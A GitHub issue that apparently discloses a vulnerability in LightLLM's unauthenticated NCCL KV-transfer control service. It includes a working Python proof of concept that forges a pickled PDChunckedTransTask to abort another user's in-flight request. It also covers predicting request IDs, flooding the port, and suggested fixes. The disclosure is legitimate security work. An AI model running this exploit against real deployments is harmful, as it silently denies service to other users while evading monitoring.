Skip to content

[BUG] Forged push_notif task on the NCCL PD transfer control channel aborts arbitrary in-flight requests #1598

Description

@yyymk

Summary

In PD disaggregation mode with --pd_trans_mode nccl, the unauthenticated exposed_push_notif method of the KV-transfer control service accepts pickled PDChunckedTransTask objects from any network peer. Unpickling does not run the dataclass __post_init__ validation, so the transfer worker accepts a task with arbitrary fields. A task carrying a non-empty error_info and a chosen request_id makes the decode (or prefill) worker abort every pending transfer of that request, killing an in-flight request that belongs to another user. Request IDs are sequential and predictable. This was reproduced on three cold-start clusters: the targeted victim stream failed with the attacker's error string while a concurrent control request completed normally and all health checks stayed green. Suggested severity High, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5), because the attack can be repeated at will against any in-flight request.

Details

The entry point is _NcclControlService.exposed_push_notif(payload: bytes) in lightllm/server/router/model_infer/mode_backend/pd/nccl_kv_transporter.py. The bytes are queued and later handed to pickle.loads() by the worker polling threads (_get_notify_source_agent_name). The connection requires no authentication.

PDChunckedTransTask is a dataclass whose field validation lives in __post_init__ (lightllm/server/pd_io_struct.py): it checks start_kv_index >= 0, end > start, and that len(mem_indexes) matches the token range for page_kind="kv". Pickle restores instance state without calling __init__ or __post_init__, so a crafted task with invalid fields (for example start_kv_index=-5 and a mismatched mem_indexes list) is accepted without any error. This bypass was verified directly.

On the decode side, decode_trans_process.py processes a notify with non-empty error_info by calling self._abort(request_id=notify_obj.request_id, error_info=...), which fails every task of that request currently held in waiting_dict and propagates the error to the peer node. The prefill side has the symmetric path in prefill_trans_process.py. The request then ends with FINISHED_ERROR in decode_impl.py.

Nothing binds a notify to the peer that owns the request, and nothing checks that the sender is a legitimate transfer partner. Request IDs are allocated by the PD master sequentially, starting at 8 with step 8, and each user request adds 16 (one prefill leg and one decode leg), so the sub-request ID of any in-flight request can be predicted or read from the master log line pd log gen sub req id N for main req id M.

PoC

Tested on Linux, LightLLM at commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6 (same code at tag v1.2.0 and on main), rpyc 5.3.1, 1P1D with --pd_trans_mode nccl, Qwen2.5-0.5B-Instruct.

Start the cluster (master, prefill, decode). From the master log, note the sub id of the victim request right after issuing it:

pd log gen sub req id 32 for main req id 16

Send one victim request with a unique long prompt (about 2700 tokens, fresh random content so no prefix cache shortens the transfer window) and stream: true, plus one control request with a different prompt. While the victim is transferring, run:

import pickle, rpyc
from lightllm.server.pd_io_struct import PDChunckedTransTask

VICTIM_SUB_ID = 32  # from the master log
t = object.__new__(PDChunckedTransTask)  # skips __init__/__post_init__
t.__dict__.update(dict(
    request_id=VICTIM_SUB_ID, start_kv_index=0, end_kv_index=16,
    time_out_secs=180, pd_master_node_id=0,
    prefill_dp_index=None, decode_dp_index=0,
    src_device_id=None, dst_device_id=0,
    mem_indexes=[], page_kind="kv", req_idx=None,
    prefill_agent_name="p_0", decode_agent_name="0_0",
    prefill_agent_metadata=None, prefill_num_pages=None, prefill_page_reg_desc=None,
    decode_agent_metadata=None, decode_num_pages=None, decode_page_reg_desc=None,
    first_gen_token_id=None, first_gen_token_logprob=None,
    write_stage=None, src_page_index=None, dst_page_index=None,
    xfer_handle=None, create_time=0.0, start_trans_time=None,
    error_info="attacker induced abort"))

conn = rpyc.connect("<node_ip>", 30000, config={   # decode_trans port
    "allow_all_attrs": True, "allow_getattr": True,
    "allow_setattr": True, "allow_pickle": True})
conn.root.push_notif(pickle.dumps(t))

Because the transfer window for an uncached prompt is short, in practice you keep this connection open and flood the predicted sub id for a few seconds while the victim request runs.

Expected result: the victim stream returns HTTP 200 but carries an error and terminates, and the decode log shows the injected string on every failed page of that request:

trans task ret fail:PDChunckedTransTaskRet(request_id=32, ..., has_error=True, error_info='attacker induced abort', ...)

The concurrent control request completes normally with finish_reason=length or stop. Master /health stays {"inference_healthy":true,"pd_nodes_ready":true,"pd_nodes_healthy":true,...} throughout. A task with a nonexistent request_id produces only a warning and no effect. A task with start_kv_index=-5 and mismatched mem_indexes is accepted without ValueError, confirming the validation bypass. Reproduced on three cold-start clusters, including pushing from a second host. Expected correct behavior: authenticate the control channel, validate deserialized tasks with an explicit schema check instead of relying on __post_init__, bind error propagation to verified transfer peers, and use unpredictable request IDs.

Impact

Improper input validation and insecure deserialization on an unauthenticated internal control service (CWE-502, CWE-306, CWE-639). An attacker needs only network reachability of the transfer control port, no credentials, and payloads built from ordinary library classes. The demonstrated effect is targeted denial of any in-flight request, repeatable at will and selectable per victim, while the node stays up and every health check stays green, which hides the attack from monitoring. Availability impact per request is certain; no confidentiality impact was observed. Removing the pickle-based RCE tracked in CVE-2026-96560 on the same port does not prevent this attack, because the payload is a valid library object and the root cause is the missing authentication and post-deserialization validation.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions